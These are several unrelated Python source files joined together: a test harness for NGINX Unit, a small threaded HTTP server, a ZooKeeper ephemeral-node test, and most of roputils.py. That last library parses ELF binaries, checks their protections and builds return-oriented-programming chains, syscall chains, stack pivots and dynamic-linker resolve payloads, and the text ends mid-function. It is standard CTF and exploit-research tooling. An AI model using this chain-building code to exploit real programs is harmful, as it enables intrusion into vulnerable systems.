return
p = unit_instance['process']
if p.poll() is not None:
return
p.send_signal(signal.SIGQUIT)
try:
retcode = p.wait(15)
if retcode:
return 'Child process terminated with code ' + str(retcode)
except KeyboardInterrupt:
p.kill()
raise
except:
p.kill()
return 'Could not terminate unit'
@print_log_on_assert
def _check_alerts(*, log=None):
if log is None:
with Log.open(encoding='utf-8') as f:
log = f.read()
found = False
alerts = re.findall(r'.+\[alert\].+', log)
if alerts:
print('\nAll alerts/sanitizer errors found in log:')
[print(alert) for alert in alerts]
found = True
if option.skip_alerts:
for skip in option.skip_alerts:
alerts = [al for al in alerts if re.search(skip, al) is None]
assert not alerts, 'alert(s)'
if not option.skip_sanitizer:
sanitizer_errors = re.findall('.+Sanitizer.+', log)
assert not sanitizer_errors, 'sanitizer error(s)'
if found:
print('skipped.')
def _print_log(log):
path = Log.get_path()
print('Path to unit.log:\n' + path + '\n')
if option.print_log:
os.set_blocking(sys.stdout.fileno(), True)
sys.stdout.flush()
if log is None:
with open(path, 'r', encoding='utf-8', errors='ignore') as f:
shutil.copyfileobj(f, sys.stdout)
else:
sys.stdout.write(log)
@print_log_on_assert
def _clear_conf(sock, *, log=None):
resp = http.put(
url='/config',
sock_type='unix',
addr=sock,
body=json.dumps({"listeners": {}, "applications": {}}),
)['body']
assert 'success' in resp, 'clear conf'
if 'openssl' not in option.available['modules']:
return
try:
certs = json.loads(
http.get(url='/certificates', sock_type='unix', addr=sock,)['body']
).keys()
except json.JSONDecodeError:
pytest.fail('Can\'t parse certificates list.')
for cert in certs:
resp = http.delete(
url='/certificates/' + cert, sock_type='unix', addr=sock,
)['body']
assert 'success' in resp, 'remove certificate'
@print_log_on_assert
def _check_fds(*, log=None):
def waitforfds(diff):
for i in range(600):
fds_diff = diff()
if fds_diff <= option.fds_threshold:
break
time.sleep(0.1)
return fds_diff
ps = _fds_info['main']
if not ps['skip']:
fds_diff = waitforfds(
lambda: _count_fds(unit_instance['pid']) - ps['fds']
)
ps['fds'] += fds_diff
assert (
fds_diff <= option.fds_threshold
), 'descriptors leak main process'
else:
ps['fds'] = _count_fds(unit_instance['pid'])
for name in ['controller', 'router']:
ps = _fds_info[name]
ps_pid = ps['pid']
ps['pid'] = pid_by_name(ps['name'])
if not ps['skip']:
fds_diff = waitforfds(lambda: _count_fds(ps['pid']) - ps['fds'])
ps['fds'] += fds_diff
if not option.restart:
assert ps['pid'] == ps_pid, 'same pid %s' % name
assert fds_diff <= option.fds_threshold, (
'descriptors leak %s' % name
)
else:
ps['fds'] = _count_fds(ps['pid'])
def _count_fds(pid):
procfile = '/proc/%s/fd' % pid
if os.path.isdir(procfile):
return len(os.listdir(procfile))
try:
out = subprocess.check_output(
['procstat', '-f', pid], stderr=subprocess.STDOUT,
).decode()
return len(out.splitlines())
except (FileNotFoundError, TypeError, subprocess.CalledProcessError):
pass
try:
out = subprocess.check_output(
['lsof', '-n', '-p', pid], stderr=subprocess.STDOUT,
).decode()
return len(out.splitlines())
except (FileNotFoundError, TypeError, subprocess.CalledProcessError):
pass
return 0
def run_process(target, *args):
global _processes
process = Process(target=target, args=args)
process.start()
_processes.append(process)
def stop_processes():
if not _processes:
return
fail = False
for process in _processes:
if process.is_alive():
process.terminate()
process.join(timeout=15)
if process.is_alive():
fail = True
if fail:
return 'Fail to stop process(es)'
def pid_by_name(name):
output = subprocess.check_output(['ps', 'ax', '-O', 'ppid']).decode()
m = re.search(
r'\s*(\d+)\s*' + str(unit_instance['pid']) + r'.*' + name, output
)
return None if m is None else m.group(1)
def find_proc(name, ps_output):
return re.findall(str(unit_instance['pid']) + r'.*' + name, ps_output)
@pytest.fixture()
def skip_alert():
def _skip(*alerts):
option.skip_alerts.extend(alerts)
return _skip
@pytest.fixture()
def skip_fds_check():
def _skip(main=False, router=False, controller=False):
_fds_info['main']['skip'] = main
_fds_info['router']['skip'] = router
_fds_info['controller']['skip'] = controller
return _skip
@pytest.fixture
def temp_dir(request):
return unit_instance['temp_dir']
@pytest.fixture
def is_unsafe(request):
return request.config.getoption("--unsafe")
@pytest.fixture
def is_su(request):
return os.geteuid() == 0
@pytest.fixture
def unit_pid(request):
return unit_instance['process'].pid
def pytest_sessionfinish(session):
if not option.restart and option.save_log:
print('Path to unit.log:\n' + Log.get_path() + '\n')
option.restart = True
unit_stop()
public_dir(option.cache_dir)
shutil.rmtree(option.cache_dir)
if not option.save_log and os.path.isdir(option.temp_dir):
public_dir(option.temp_dir)
shutil.rmtree(option.temp_dir)
|
WebHTTPServer.py | from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from SocketServer import ThreadingMixIn
import time
import threading
import logging
_HTTP_PORT = 8030
def _getModulePath( path ):
import os.path
return os.path.dirname( __file__ ) + '/' + path
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
if self.path == '/':
f = file( _getModulePath( 'main.htm' ), 'r' )
txt = f.read()
f.close()
self.wfile.write( txt )
return
def log_message( self, format, *ars ):
pass
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""Handle requests in a separate thread."""
_Running = False
def _startServer():
global _Running
server = ThreadedHTTPServer(('0.0.0.0', _HTTP_PORT), Handler)
_Running = True
server.timeout = 0
logging.info( 'start remote input listener at port: %d' % _HTTP_PORT )
while _Running:
server.handle_request()
time.sleep(0.1)
def startServer():
threading.Thread( target = _startServer ).start()
def stopServer():
global _Running
_Running = False
logging.info( 'stopping remote input listener at port: %d' % _HTTP_PORT )
|
zookeeper_basic.py | # Copyright 2015 LinkedIn Corp.
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
import os
from kazoo.client import KazooClient
from multiprocessing import Process
import time
import zopkio.runtime as runtime
import zopkio.test_utils as testutilities
import zopkio.adhoc_deployer as adhoc_deployer
zookeper_deployer = None
def zookeeper_ephemeral_node(name):
zk = KazooClient(hosts=str(runtime.get_active_config('zookeeper_host') + ':2181'))
zk.start()
zk.create("/my/zookeeper_test/node1", b"process1 running", ephemeral=True)
#At 10 validate that ephemeral node exist that is the process is still running
time.sleep(10)
assert zk.exists("/my/zookeeper_test/node1"), "process node is not found at 10 s when it is still running"
time.sleep(20)
zk.stop()
def test_zookeeper_process_tracking():
"""
Tests if process register node correctly with zookeeper and zookeeper deletes it when process terminates
"""
#Wait for zookeeper to start so that kazoo client can connect correctly
time.sleep(5)
#"connecting to esnure /my/zookeeper_test"
kazoo_connection_url = str(runtime.get_active_config('zookeeper_host') + ':2181')
zkclient = KazooClient(hosts=kazoo_connection_url)
zkclient.start()
zkclient.ensure_path("/my/zookeeper_test")
#spawn a python multiprocess which creates an ephermeral node
#once the process ends the node will be deleted.
p = Process(target=zookeeper_ephemeral_node, args=("process1",))
p.start()
zkclient.stop()
def validate_zookeeper_process_tracking():
"""
Verify if process register node correctly with zookeeper and zookeeper deletes it when process terminates
"""
zk = KazooClient(hosts=str(runtime.get_active_config('zookeeper_host') + ':2181'))
zk.start()
#At 60 validate that process has terminated by looking at the ephemeral node
time.sleep(60)
assert not zk.exists("/my/zookeeper_test/node1"), "process node not found at 60 s when it should have terminated"
zk.stop()
|
roputils.py | #!/usr/bin/env python
import sys
import os
import re
import struct
import socket
import select
import random
import tempfile
from subprocess import Popen, PIPE
from threading import Thread, Event
from telnetlib import Telnet
from contextlib import contextmanager
def int16(x):
if isinstance(x, (list, tuple)):
return [int(n, 16) for n in x]
else:
return int(x, 16)
def p32(x):
if isinstance(x, str):
return struct.unpack('<I', x)[0]
elif isinstance(x, (list, tuple)):
return struct.pack('<' + ('I'*len(x)), *x)
else:
return struct.pack('<I', x)
def p64(x):
if isinstance(x, str):
return struct.unpack('<Q', x)[0]
elif isinstance(x, (list, tuple)):
return struct.pack('<' + ('Q'*len(x)), *x)
else:
return struct.pack('<Q', x)
class ELF(object):
def __init__(self, fpath, base=0):
def env_with(d):
env = os.environ.copy()
env.update(d)
return env
self.fpath = fpath
self.base = base
self.sec = dict(relro=False, bind_now=False, stack_canary=False, nx=False, pie=False, rpath=False, runpath=False, dt_debug=False)
if not os.path.exists(fpath):
raise Exception("file not found: %r" % fpath)
self._entry_point = None
self._section = {}
self._dynamic = {}
self._got = {}
self._plt = {}
self._symbol = {}
self._load_blobs = []
self._string = {}
regexp = {
'section': r'^\s*\[(?P<Nr>[^\]]+)\]\s+(?P<Name>\S+)\s+(?P<Type>\S+)\s+(?P<Address>\S+)\s+(?P<Off>\S+)\s+(?P<Size>\S+)\s+(?P<ES>\S+)\s+(?P<Flg>\S+)\s+(?P<Lk>\S+)\s+(?P<Inf>\S+)\s+(?P<Al>\S+)$',
'program': r'^\s*(?P<Type>\S+)\s+(?P<Offset>\S+)\s+(?P<VirtAddr>\S+)\s+(?P<PhysAddr>\S+)\s+(?P<FileSiz>\S+)\s+(?P<MemSiz>\S+)\s+(?P<Flg>.{3})\s+(?P<Align>\S+)$',
'dynamic': r'^\s*(?P<Tag>\S+)\s+\((?P<Type>[^)]+)\)\s+(?P<Value>.+)$',
'reloc': r'^\s*(?P<Offset>\S+)\s+(?P<Info>\S+)\s+(?P<Type>\S+)\s+(?P<Value>\S+)\s+(?P<Name>\S+)(?: \+ (?P<AddEnd>\S+))?$',
'symbol': r'^\s*(?P<Num>[^:]+):\s+(?P<Value>\S+)\s+(?P<Size>\S+)\s+(?P<Type>\S+)\s+(?P<Bind>\S+)\s+(?P<Vis>\S+)\s+(?P<Ndx>\S+)\s+(?P<Name>\S+)',
'string': r'([\s\x21-\x7e]{4,})\x00',
}
plt_size_map = {
'i386': (0x10, 0x10),
'x86-64': (0x10, 0x10),
'arm': (0x14, 0xc),
}
has_dynamic_section = True
has_symbol_table = True
p = Popen(['readelf', '-W', '-a', fpath], env=env_with({"LC_MESSAGES": "C"}), stdout=PIPE)
# read ELF Header
while True:
line = p.stdout.readline()
if line == 'Section Headers:\n':
break
m = re.search(r'^\s*(?P<key>[^:]+):\s+(?P<value>.+)$', line)
if not m:
continue
key, value = m.group('key', 'value')
if key == 'Class':
if value == 'ELF64':
self.wordsize = 8
elif value == 'ELF32':
self.wordsize = 4
else:
raise Exception("unsupported ELF Class: %r" % value)
elif key == 'Type':
if value == 'DYN (Shared object file)':
self.sec['pie'] = True
elif value == 'EXEC (Executable file)':
self.sec['pie'] = False
else:
raise Exception("unsupported ELF Type: %r" % value)
elif key == 'Machine':
if value == 'Advanced Micro Devices X86-64':
self.arch = 'x86-64'
elif value == 'Intel 80386':
self.arch = 'i386'
elif value == 'ARM':
self.arch = 'arm'
else:
raise Exception("unsupported ELF Machine: %r" % value)
elif key == 'Entry point address':
self._entry_point = int16(value)
# read Section Headers
while True:
line = p.stdout.readline()
if line == 'Program Headers:\n':
break
m = re.search(regexp['section'], line)
if not m or m.group('Nr') == 'Nr':
continue
name = m.group('Name')
address, size = int16(m.group('Address', 'Size'))
self._section[name] = (address, size)
# read Program Headers
while True:
line = p.stdout.readline()
if line.startswith('Dynamic section'):
has_dynamic_section = True
break
elif line == 'There is no dynamic section in this file.\n':
has_dynamic_section = False
break
m = re.search(regexp['program'], line)
if not m or m.group('Type') == 'Type':
continue
type_, flg = m.group('Type', 'Flg')
offset, virtaddr, filesiz = int16(m.group('Offset', 'VirtAddr', 'FileSiz'))
if type_ == 'GNU_RELRO':
self.sec['relro'] = True
elif type_ == 'GNU_STACK':
if not 'E' in flg:
self.sec['nx'] = True
elif type_ == 'LOAD':
with open(fpath, 'rb') as f:
f.seek(offset)
blob = f.read(filesiz)
is_executable = ('E' in flg)
self._load_blobs.append((virtaddr, blob, is_executable))
for m in re.finditer(regexp['string'], blob):
self._string[virtaddr+m.start()] = m.group(1)
# read Dynamic section
while has_dynamic_section:
line = p.stdout.readline()
if line.startswith('Relocation section'):
break
m = re.search(regexp['dynamic'], line)
if not m or m.group('Tag') == 'Tag':
continue
type_, value = m.group('Type', 'Value')
if type_ == 'BIND_NOW':
self.sec['bind_now'] = True
elif type_ == 'RPATH':
self.sec['rpath'] = True
elif type_ == 'RUNPATH':
self.sec['runpath'] = True
elif type_ == 'DEBUG':
self.sec['dt_debug'] = True
if value.startswith('0x'):
self._dynamic[type_] = int16(value)
elif value.endswith(' (bytes)'):
self._dynamic[type_] = int(value.split()[0])
# read Relocation section (.rel.plt/.rela.plt)
in_unwind_table_index = False
plt_header_size, plt_entry_size = plt_size_map[self.arch]
while True:
line = p.stdout.readline()
if line.startswith('Symbol table'):
has_symbol_table = True
break
elif line == 'No version information found in this file.\n':
has_symbol_table = False
break
elif in_unwind_table_index or line.startswith('Unwind table index'):
in_unwind_table_index = True
continue
m = re.search(regexp['reloc'], line)
if not m or m.group('Offset') == 'Offset':
continue
type_, name = m.group('Type', 'Name')
offset, info = int16(m.group('Offset', 'Info'))
if not type_.endswith('JUMP_SLOT'):
continue
name = name.split('@')[0]
self._got[name] = offset
self._plt[name] = self._section['.plt'][0] + plt_header_size + plt_entry_size * len(self._plt)
if name == '__stack_chk_fail':
self.sec['stack_canary'] = True
# read Symbol table
while has_symbol_table:
line = p.stdout.readline()
if line.startswith('Version symbols section') or line == 'No version information found in this file.\n':
break
m = re.search(regexp['symbol'], line)
if not m or m.group('Num') == 'Num':
continue
if m.group('Ndx') == 'UND':
continue
name, value = m.group('Name'), int16(m.group('Value'))
self._symbol[name] = value
if '@@' in name:
default_name = name.split('@@')[0]
self._symbol[default_name] = value
p.wait()
def set_base(self, addr, ref_symbol=None):
self.base = addr
if ref_symbol:
self.base -= self._symbol[ref_symbol]
def offset(self, offset):
return self.base + offset
def section(self, name):
return self.offset(self._section[name][0])
def dynamic(self, name):
return self.offset(self._dynamic[name])
def got(self, name=None):
if name:
return self.offset(self._got[name])
else:
return self.dynamic('PLTGOT')
def plt(self, name=None):
if name:
return self.offset(self._plt[name])
else:
return self.offset(self._section['.plt'][0])
def addr(self, name):
return self.offset(self._symbol[name])
def str(self, name):
return self.search(name + '\x00')
def search(self, s, xonly=False):
if isinstance(s, int):
s = self.p(s)
for virtaddr, blob, is_executable in self._load_blobs:
if xonly and not is_executable:
continue
if isinstance(s, re._pattern_type):
for m in re.finditer(s, blob):
addr = self.offset(virtaddr + m.start())
if self.arch == 'arm' and xonly and addr % 2 != 0:
continue
return addr
else:
i = -1
while True:
i = blob.find(s, i+1)
if i == -1:
break
addr = self.offset(virtaddr + i)
if self.arch == 'arm' and xonly and addr % 2 != 0:
continue
return addr
else:
raise ValueError()
def checksec(self):
result = ''
if self.sec['relro']:
result += '\033[32mFull RELRO \033[m ' if self.sec['bind_now'] else '\033[33mPartial RELRO\033[m '
else:
result += '\033[31mNo RELRO \033[m '
result += '\033[32mCanary found \033[m ' if self.sec['stack_canary'] else '\033[31mNo canary found\033[m '
result += '\033[32mNX enabled \033[m ' if self.sec['nx'] else '\033[31mNX disabled\033[m '
result += '\033[32mPIE enabled \033[m ' if self.sec['pie'] else '\033[31mNo PIE \033[m '
result += '\033[31mRPATH \033[m ' if self.sec['rpath'] else '\033[32mNo RPATH \033[m '
result += '\033[31mRUNPATH \033[m ' if self.sec['runpath'] else '\033[32mNo RUNPATH \033[m '
result += self.fpath
print 'RELRO STACK CANARY NX PIE RPATH RUNPATH FILE'
print "%s\n" % result
fortified_funcs = [name for name in self._plt if re.search(r'^__\w+_chk$', name)]
if fortified_funcs:
print "FORTIFY_SOURCE: \033[32mFortified\033[m (%s)" % ', '.join(fortified_funcs)
else:
print 'FORTIFY_SOURCE: \033[31mNo\033[m'
def objdump(self):
p = Popen(Asm.cmd[self.arch]['objdump'] + [self.fpath], stdout=PIPE)
stdout, stderr = p.communicate()
rev_symbol = {}
rev_plt = {}
for k, v in self._symbol.iteritems():
rev_symbol.setdefault(v, []).append(k)
for k, v in self._plt.iteritems():
rev_plt.setdefault(v, []).append(k)
lines = []
labels = {}
code_xrefs = {}
data_xrefs = {}
# collect addresses
for line in stdout.splitlines():
ary = line.strip().split(':', 1)
try:
addr, expr = int16(ary[0]), ary[1]
labels[addr] = None
except ValueError:
addr, expr = None, None
lines.append((line, addr, expr))
# collect references
for line, addr, expr in lines:
if addr is None:
continue
if addr == self._entry_point:
labels[addr] = '_start'
m = re.search(r'call\s+(?:0x)?([\dA-Fa-f]+)\b', line)
if m:
ref = int16(m.group(1))
labels[ref] = "sub_%x" % ref
code_xrefs.setdefault(ref, set()).add(addr)
m = re.search(r'j\w{1,2}\s+(?:0x)?([\dA-Fa-f]+)\b', line)
if m:
ref = int16(m.group(1))
labels[ref] = "loc_%x" % ref
code_xrefs.setdefault(ref, set()).add(addr)
for m in re.finditer(r',0x([\dA-Fa-f]{3,})\b', expr):
ref = int16(m.group(1))
if ref in labels:
labels[ref] = "loc_%x" % ref
data_xrefs.setdefault(ref, set()).add(addr)
for k, v in code_xrefs.iteritems():
code_xrefs[k] = sorted(list(v))
for k, v in data_xrefs.iteritems():
data_xrefs[k] = sorted(list(v))
# output with annotations
def repl_func1(addr):
def _f(m):
op = m.group(1)
ref = int16(m.group(2))
if op.startswith('call'):
color = 33
else:
color = 32 if ref > addr else 35
return "\x1b[%dm%s%s [%+#x]\x1b[0m" % (color, m.group(1), labels[ref], ref-addr)
return _f
def repl_func2(color):
def _f(m):
addr = int16(m.group(1))
if addr in labels and not addr in rev_symbol:
return ",\x1b[%dm%s\x1b[0m" % (color, labels[addr])
else:
return m.group(0)
return _f
arrows = {}
for k, v in [(True, u'\u25b2'), (False, u'\u25bc')]:
arrows[k] = v.encode('utf-8')
for line, addr, expr in lines:
if addr is None:
print line
continue
line = re.sub(r'(call\s+)[\dA-Fa-f]{3,}\s+<([\w@\.]+)>', '\x1b[33m\\1\\2\x1b[0m', line)
line = re.sub(r'(call\s+)(?:0x)?([\dA-Fa-f]{3,})\b.*', repl_func1(addr), line)
line = re.sub(r'(j\w{1,2}\s+)[\dA-Fa-f]{3,}\s+<([\w@\.]+)>', '\x1b[32m\\1\\2\x1b[0m', line)
line = re.sub(r'(j\w{1,2}\s+)(?:0x)?([\dA-Fa-f]{3,})\b.*', repl_func1(addr), line)
line = re.sub(r',0x([\dA-Fa-f]{3,})\b', repl_func2(36), line)
expr = line.split(':', 1)[1]
label = ''
if labels[addr]:
if not addr in rev_symbol and not addr in rev_plt:
if labels[addr].startswith('loc_'):
label += "\x1b[38;1m%s:\x1b[0m" % labels[addr]
label = label.ljust(78+11)
else:
label += "\x1b[33m%s:\x1b[0m" % labels[addr]
label = label.ljust(78+9)
else:
label = label.ljust(78)
if addr in code_xrefs:
ary = ["%x%s" % (x, arrows[x < addr]) for x in code_xrefs[addr]]
label += " \x1b[30;1m; CODE XREF: %s\x1b[0m" % ', '.join(ary)
if addr in data_xrefs:
ary = ["%x%s" % (x, arrows[x < addr]) for x in data_xrefs[addr]]
label += " \x1b[30;1m; DATA XREF: %s\x1b[0m" % ', '.join(ary)
if addr == self._entry_point:
label += ' \x1b[30;1m; ENTRY POINT\x1b[0m'
if label:
print label
annotations = []
for m in re.finditer(r'([\dA-Fa-f]{3,})\b', expr):
ref = int16(m.group(1))
if 0 <= ref - self._section['.data'][0] < self._section['.data'][1]:
annotations.append('[.data]')
elif 0 <= ref - self._section['.bss'][0] < self._section['.bss'][1]:
annotations.append('[.bss]')
if ref in rev_symbol:
annotations.append(', '.join(rev_symbol[ref]))
if ref in self._string:
annotations.append(repr(self._string[ref]))
if annotations:
print "%-70s \x1b[30;1m; %s\x1b[0m" % (line, ' '.join(annotations))
else:
print line
if re.search(r'\t(?:ret|jmp)', line):
print "\x1b[30;1m; %s\x1b[0m" % ('-' * 78)
class ROP(ELF):
def __init__(self, *args, **kwargs):
ELF.__init__(self, *args, **kwargs)
if self.arch == 'i386':
self.__class__ = type('ROP_I386', (ROP_I386,), {})
elif self.arch == 'x86-64':
self.__class__ = type('ROP_X86_64', (ROP_X86_64,), {})
elif self.arch == 'arm':
self.__class__ = type('ROP_ARM', (ROP_ARM,), {})
else:
raise Exception("unknown architecture: %r" % self.arch)
def p(self, x):
if self.wordsize == 8:
return p64(x)
else:
return p32(x)
def gadget(self, s):
return self.search(s, xonly=True)
def string(self, s):
return s + '\x00'
def junk(self, n=1):
return self.fill(self.wordsize * n)
def fill(self, size, buf=''):
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
buflen = size - len(buf)
assert buflen >= 0, "%d bytes over" % (-buflen,)
return ''.join(random.choice(chars) for i in xrange(buflen))
def align(self, addr, origin, size):
padlen = size - ((addr-origin) % size)
return (addr+padlen, padlen)
def load(self, blob, base=0):
self._load_blobs += [(base, blob, True)]
def scan_gadgets(self, regexp):
for virtaddr, blob, is_executable in self._load_blobs:
if not is_executable:
continue
for m in re.finditer(regexp, blob):
if self.arch == 'arm':
arch = 'thumb'
else:
arch = self.arch
p = Popen(Asm.cmd[arch]['objdump_binary'] + ["--adjust-vma=%d" % virtaddr, "--start-address=%d" % (virtaddr+m.start()), self.fpath], stdout=PIPE)
stdout, stderr = p.communicate()
lines = stdout.splitlines()[7:]
if '\t(bad)' in lines[0]:
continue
for line in lines:
print line
if re.search(r'\t(?:ret|jmp|\(bad\)|; <UNDEFINED> instruction|\.\.\.)', line):
print '-' * 80
break
def list_gadgets(self):
raise NotImplementedError("not implemented for this architecture: %r" % self.arch)
class ROP_I386(ROP):
regs = ['eax', 'ecx', 'edx', 'ebx', 'esp', 'ebp', 'esi', 'edi']
def gadget(self, keyword, reg=None, n=1):
def regexp_or(*args):
return re.compile('(?:' + '|'.join(map(re.escape, args)) + ')')
table = {
'pushad': '\x60\xc3',
'popad': '\x61\xc3',
'leave': '\xc9\xc3',
'ret': '\xc3',
'int3': '\xcc',
'int80': '\xcd\x80',
'call_gs10': '\x65\xff\x15\x10\x00\x00\x00',
'syscall': '\x0f\x05',
}
if keyword in table:
return self.search(table[keyword], xonly=True)
if reg:
try:
r = self.regs.index(reg)
except ValueError:
raise Exception("unexpected register: %r" % reg)
else:
r = self.regs.index('esp')
if keyword == 'pop':
if reg:
chunk1 = chr(0x58+r) + '\xc3'
chunk2 = '\x8f' + chr(0xc0+r) + '\xc3'
return self.search(regexp_or(chunk1, chunk2), xonly=True)
else:
# skip esp
return self.search(re.compile(r"(?:[\x58-\x5b\x5d-\x5f]|\x8f[\xc0-\xc3\xc5-\xc7]){%d}\xc3" % n), xonly=True)
elif keyword == 'call':
chunk = '\xff' + chr(0xd0+r)
return self.search(chunk, xonly=True)
elif keyword == 'jmp':
chunk = '\xff' + chr(0xe0+r)
return self.search(chunk, xonly=True)
elif keyword == 'jmp_ptr':
chunk = '\xff' + chr(0x20+r)
return self.search(chunk, xonly=True)
elif keyword == 'push':
chunk1 = chr(0x50+r) + '\xc3'
chunk2 = '\xff' + chr(0xf0+r) + '\xc3'
return self.search(regexp_or(chunk1, chunk2), xonly=True)
elif keyword == 'pivot':
# chunk1: xchg REG, esp
# chunk2: xchg esp, REG
if r == 0:
chunk1 = '\x94\xc3'
else:
chunk1 = '\x87' + chr(0xe0+r) + '\xc3'
chunk2 = '\x87' + chr(0xc4+8*r) + '\xc3'
return self.search(regexp_or(chunk1, chunk2), xonly=True)
elif keyword == 'loop':
chunk1 = '\xeb\xfe'
chunk2 = '\xe9\xfb\xff\xff\xff'
return self.search(regexp_or(chunk1, chunk2), xonly=True)
else:
# search directly
return ROP.gadget(self, keyword)
def call(self, addr, *args):
if isinstance(addr, str):
addr = self.plt(addr)
buf = self.p(addr)
buf += self.p(self.gadget('pop', n=len(args)))
buf += self.p(args)
return buf
def call_chain_ptr(self, *calls, **kwargs):
raise Exception('support x86-64 only')
def dl_resolve_data(self, base, name):
jmprel = self.dynamic('JMPREL')
relent = self.dynamic('RELENT')
symtab = self.dynamic('SYMTAB')
syment = self.dynamic('SYMENT')
strtab = self.dynamic('STRTAB')
addr_reloc, padlen_reloc = self.align(base, jmprel, relent)
addr_sym, padlen_sym = self.align(addr_reloc+relent, symtab, syment)
addr_symstr = addr_sym + syment
r_info = (((addr_sym - symtab) / syment) << 8) | 0x7
st_name = addr_symstr - strtab
buf = self.fill(padlen_reloc)
buf += struct.pack('<II', base, r_info) # Elf32_Rel
buf += self.fill(padlen_sym)
buf += struct.pack('<IIII', st_name, 0, 0, 0x12) # Elf32_Sym
buf += self.string(name)
return buf
def dl_resolve_call(self, base, *args):
jmprel = self.dynamic('JMPREL')
relent = self.dynamic('RELENT')
addr_reloc, padlen_reloc = self.align(base, jmprel, relent)
reloc_offset = addr_reloc - jmprel
buf = self.p(self.plt())
buf += self.p(reloc_offset)
buf += self.p(self.gadget('pop', n=len(args)))
buf += self.p(args)
return buf
def syscall(self, number, *args):
try:
arg_regs = ['ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp']
buf = self.p([self.gadget('pop', 'eax'), number])
for arg_reg, arg in zip(arg_regs, args):
buf += self.p([self.gadget('pop', arg_reg), arg])
except ValueError:
# popad = pop edi, esi, ebp, esp, ebx, edx, ecx, eax
args = list(args) + [0] * (6-len(args))
buf = self.p([self.gadget('popad'), args[4], args[3], args[5], 0, args[0], args[2], args[1], number])
buf += self.p(self.gadget('int80'))
return buf
def pivot(self, rsp):
buf = self.p([self.gadget('pop', 'ebp'), rsp-self.wordsize])
buf += self.p(self.gadget('leave'))
return buf
def retfill(self, size, buf=''):
buflen = size - len(buf)
assert buflen >= 0, "%d bytes over" % (-buflen,)
s = self.fill(buflen % self.wordsize)
s += self.p(self.gadget('ret')) * (buflen // self.wordsize)
return s
def list_gadgets(self):
print "%8s" % 'pop',
for i in range(6):
try:
self.gadget('pop', n=i+1)
print "\033[32m%d\033[m" % (i+1),
except ValueError:
print "\033[31m%d\033[m" % (i+1),
print
for keyword in ['pop', 'jmp', 'jmp_ptr', 'call', 'push', 'pivot']:
print "%8s" % keyword,
for reg in self.regs:
try:
self.gadget(keyword, reg)
print "\033[32m%s\033[m" % reg,
except ValueError:
print "\033[31m%s\033[m" % reg,
print
print "%8s" % 'etc',
for keyword in ['pushad', 'popad', 'leave', 'ret', 'int3', 'int80', 'call_gs10', 'syscall', 'loop']:
try:
self.gadget(keyword)
print "\033[32m%s\033[m" % keyword,
except ValueError:
print "\033[31m%s\033[m" % keyword,
print
class ROP_X86_64(ROP):
regs = ['rax', 'rcx', 'rdx', 'rbx', 'rsp', 'rbp', 'rsi', 'rdi', 'r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15']
def gadget(self, keyword, reg=None, n=1):
def regexp_or(*args):
return re.compile('(?:' + '|'.join(map(re.escape, args)) + ')')
table = {
'leave': '\xc9\xc3',
'ret': '\xc3',
'int3': '\xcc',
'int80': '\xcd\x80',
'call_gs10': '\x65\xff\x15\x10\x00\x00\x00',
'syscall': '\x0f\x05',
}
if keyword in table:
return self.search(table[keyword], xonly=True)
if reg:
try:
r = self.regs.index(reg)
need_prefix = bool(r >= 8)
if need_prefix:
r -= 8
except ValueError:
raise Exception("unexpected register: %r" % reg)
else:
r = self.regs.index('rsp')
need_prefix = False
if keyword == 'pop':
if reg:
prefix = '\x41' if need_prefix else ''
chunk1 = prefix + chr(0x58+r) + '\xc3'
chunk2 = prefix + '\x8f' + chr(0xc0+r) + '\xc3'
return self.search(regexp_or(chunk1, chunk2), xonly=True)
else:
# skip rsp
return self.search(re.compile(r"(?:[\x58-\x5b\x5d-\x5f]|\x8f[\xc0-\xc3\xc5-\xc7]|\x41(?:[\x58-\x5f]|\x8f[\xc0-\xc7])){%d}\xc3" % n), xonly=True)
elif keyword == 'call':
prefix = '\x41' if need_prefix else ''
chunk = prefix + '\xff' + chr(0xd0+r)
return self.search(chunk, xonly=True)
elif keyword == 'jmp':
prefix = '\x41' if need_prefix else ''
chunk = prefix + '\xff' + chr(0xe0+r)
return self.search(chunk, xonly=True)
elif keyword == 'jmp_ptr':
prefix = '\x41' if need_prefix else ''
chunk = prefix + '\xff' + chr(0x20+r)
return self.search(chunk, xonly=True)
elif keyword == 'push':
prefix = '\x41' if need_prefix else ''
chunk1 = prefix + chr(0x50+r) + '\xc3'
chunk2 = prefix + '\xff' + chr(0xf0+r) + '\xc3'
return self.search(regexp_or(chunk1, chunk2), xonly=True)
elif keyword == 'pivot':
# chunk1: xchg REG, rsp
# chunk2: xchg rsp, REG
if need_prefix:
chunk1 = '\x49\x87' + chr(0xe0+r) + '\xc3'
chunk2 = '\x4c\x87' + chr(0xc4+8*r) + '\xc3'
else:
if r == 0:
chunk1 = '\x48\x94\xc3'
else:
chunk1 = '\x48\x87' + chr(0xe0+r) + '\xc3'
chunk2 = '\x48\x87' + chr(0xc4+8*r) + '\xc3'
return self.search(regexp_or(chunk1, chunk2), xonly=True)
elif keyword == 'loop':
chunk1 = '\xeb\xfe'
chunk2 = '\xe9\xfb\xff\xff\xff'
return self.search(regexp_or(chunk1, chunk2), xonly=True)
else:
# search directly
return ROP.gadget(self, keyword)
def call(self, addr, *args):
if isinstance(addr, str):
addr = self.plt(addr)
regs = ['rdi', 'rsi', 'rdx', 'rcx', 'r8', 'r9']
buf = ''
for i, arg in enumerate(args):
buf += self.p([self.gadget('pop', regs[i]), arg])
buf += self.p(addr)
buf += self.p(args[6:])
return buf
def call_chain_ptr(self, *calls, **kwargs):
gadget_candidates = [
# gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
